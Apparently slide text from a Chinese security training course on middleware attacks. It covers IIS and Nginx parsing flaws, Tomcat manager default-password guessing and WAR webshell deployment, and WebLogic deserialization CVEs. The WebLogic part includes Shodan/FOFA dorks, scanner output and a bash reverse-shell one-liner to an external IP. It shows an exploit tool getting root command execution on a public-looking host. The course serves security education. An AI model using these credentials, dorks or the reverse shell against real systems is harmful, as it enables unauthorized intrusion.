



中间件安全

讲师：空白





学院介绍

学院宗旨：专注网安人才实战技能培养

学院官网：<https://edu.hetianlab.com/>

合天网安实验室：<https://www.hetianlab.com/>

主打课程：

《web安全》：OWASP TOP 10漏洞原理及测试

《渗透测试》：渗透测试流程及工具的使用

《安全开发》：用python写一个综合的扫描器

《CTF-PWN》：CTF中的PWN相关



目录

CONTENTS



01

解析漏洞



02

Tomcat部署war包getshell



03

Weblogic相关漏洞



/01 解析漏洞



1.1 IIS6.0解析漏洞

目录解析以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。

文件解析*.asp;.jpg 像这种畸形文件名在 “; ” 后面的直接被忽略，也就是说当成 *.asp文件执行。IIS6.0 默认的可执行文件除了asp还包含这三种 *.asa *.cer *.cdx



1.2 IIS7&7.5解析漏洞

IIS7/7.5在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。

1.3 Nginx解析漏洞

用户配置不当造成的解析漏洞，在上传的文件后面增加/.php后缀，被解析成PHP文件

← → ↺ ⚠ 不安全 | 139.9.198.30/uploadfiles/fb5c81ed3a220004b71069645f112867.png/.php ☆ 🔒 🌐 🛡️ 🍪 0101 0011 📄 📄 📄

安全论坛 安全博客 SRC漏洞平台 学习资源 Cloud Login 百度一下，你就知道 | 其他主

??VkmK7?YD%□U□□,□□mca1k/□(□1 □□\$#&□□□□□Y□□R□{??w?□??n?>???,K?7Q?R> ?|>??}

????X?????§□pt□d□□□j□□□□□□□G□□□□□R□□□□□□□□□□%o□□y4=□□%□[□?□□□□□m□=l#3□□U{□□□□□□□q□B□□□\$□□Y□□□YgLN□□h□□□

□□e□w□□^□□9Dž5%□n□□□□□e□6□□c1_d%□S□□h□;82i□□□□□)A□□ □□ƴ□|]??D?□?s?}?n?_Y?????]?m9?????□??□,□□FT(□P?8d:□@??/h????k<?FIEND?B`

PHP Version 8.0.9



System	Linux 1669d00c2b8e 4.4.0-201-generic #233-Ubuntu SMP Thu Jan 14 06:10:28 UTC 2021 x86_64
Build Date	Aug 18 2021 13:02:26
Build System	Linux 16759cf0823d 4.19.0-14-cloud-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux
Configure Command	'./configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--enable-option-checking=fatal' '--with-mhash' '--with-pic' '--enable-ftp' '--enable-mbstring' '--enable-mysqld' '--with-password-argon2' '--with-sodium=shared' '--with-ndo-salite=/usr' '--with-salite3=/usr' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib' '--with-



/02 Tomcat部署war包getshell



2.1 Tomcat后台

Tomcat安装完成后会有如下页面，点击该页面的 Manager App 处会弹出输入用户名和密码的认证框。我们也可以直接访问：`http://ip:port/manager/html` 来访问该管理页面。

用户名：admin、tomcat、manager

密码：admin、123456、tomcat、manager、admin123



2.1 Tomcat密码爆破

Tomcat传递用户密码数据的格式是：用户名:密码 进行base64加密

DashboardTargetProxyIntruderRepeaterSequencerDecoderCom

InterceptHTTP historyWebSockets historyOptions

Request to http://139.9.198.30:8099

ForwardDropIntercept is onAction

RawHeadersHex

GET /manager/html HTTP/1.1
Host: 139.9.198.30:8099
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp
Referer: http://139.9.198.30:8099/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Connection: close

YWRtaW46YWRtaW4=

admin:admin



2.1 部署war包

webshell路径: http://ip:port/warfilename/xxx.jsp

Deploy

Deploy directory or WAR file located on server

Context Path (required):

XML Configuration file URL:

WAR or Directory URL:

Deploy

WAR file to deploy

Select WAR file to upload 未选择文件

Deploy



/03 Weblogic相关漏洞



3.1 Weblogic

WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中



3.2 特征

端口: 7001

Web界面: Error 404--Not Found

Error 404--Not Found

From RFC 2068 *Hypertext Transfer Protocol -- HTTP/1.1*:

10.4.5 404 Not Found

The server has not found anything matching the Request-URI. No

If the server does not wish to make this information available (Gone) status code SHOULD be used if the server knows, through unavailable and has no forwarding address.

3.3 历史漏洞

		#XMLDecoder反序列化	CVE-2020-2551
Weakpassword	CVE-2016-0638	CVE-2017-10271	CVE-2020-2883
	CVE-2016-3510	CVE-2017-3506	CVE-2020-2555
#SSRF:	CVE-2017-3248		CVE-2019-17267
CVE-2014-4210	CVE-2018-2628		CVE-2020-14882
	CVE-2018-2893		CVE-2020-14841
#任意文件上传	CVE-2019-2725		CVE-2020-14825
CVE-2018-2894	CVE-2019-2729		CVE-2020-14859
	CVE-2019-2890		CVE-2021-2109



3.4 主要影响版本

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.1

Weblogic 12.2.1.2

Weblogic 12.2.1.3

Weblogic 14.1.1.0

WebLogic Server 版本 10.3.6.0

版权所有 © 1996, 2011, Oracle 和/或其子公司。保留所有权利。

Oracle 是 Oracle Corporation 和/或其子公司的注册商标。其它名称可能是各自所有者的商标。



3.5 相关资产获取

shodan fofa 钟馗之眼 等

app="BEA-WebLogic-Server"

google hacking

inurl:漏洞地址

intitle:weblogic等



3.6 漏洞扫描

<https://github.com/rabbitmask/WeblogicScan>

```
D:\渗透测试\预渗透\WeblogicScan-master>python3 WeblogicScan.py -f target.txt

WeblogicScan
By Tide_RabbitMask | V 1.5

Welcome To WeblogicScan !!!
Whoami: https://github.com/rabbitmask
[*] =====Task Num: [1]=====
[*] =====Task Start=====
[+] [139.9.198.30:7001] Weblogic Version Is 10.3.6.0
[+] [139.9.198.30:7001] Weblogic console address is exposed! The path is: http://139.9.198.30:7001/console/login/LoginForm.jsp
[+] [139.9.198.30:7001] Weblogic UDDI module is exposed! The path is: http://139.9.198.30:7001/uddiexplorer/
[+] [139.9.198.30:7001] weblogic has a JAVA deserialization vulnerability:CVE-2016-0638
[+] [139.9.198.30:7001] weblogic has a JAVA deserialization vulnerability:CVE-2018-2893
[+] [139.9.198.30:7001] weblogic has a JAVA deserialization vulnerability:CVE-2019-2725
[+] [139.9.198.30:7001] weblogic has a JAVA deserialization vulnerability:CVE-2019-2890
[*] =====Task End=====

D:\渗透测试\预渗透\WeblogicScan-master>
```



3.7 漏洞利用

<https://github.com/rabbitmask/WeblogicScan>

```
bash -i >& /dev/tcp/139.9.198.30/1234 0>&1
```

选项 帮助

选择... CVE-2019-2725 Weblogic10 wls9-async反序列化 地址:

基本信息 命令执行 文件上传 批量检查

命令:

```
root
|
```

自动检查更新, 没有发现新版本! —2021-08-19 19:14:35
http://47.104.255.11:7001/存在漏洞! —2021-08-19 19:15:18
当前应用目录: /root/.Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war—2021-08-19 19:15:18
http://47.104.255.11:7001/存在漏洞! —2021-08-19 19:15:51
当前应用目录: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Draft//EN">
<HTML>
<HEAD>



感谢您的聆听

▶ 学习工具、资料及课程回放



扫码免费领取

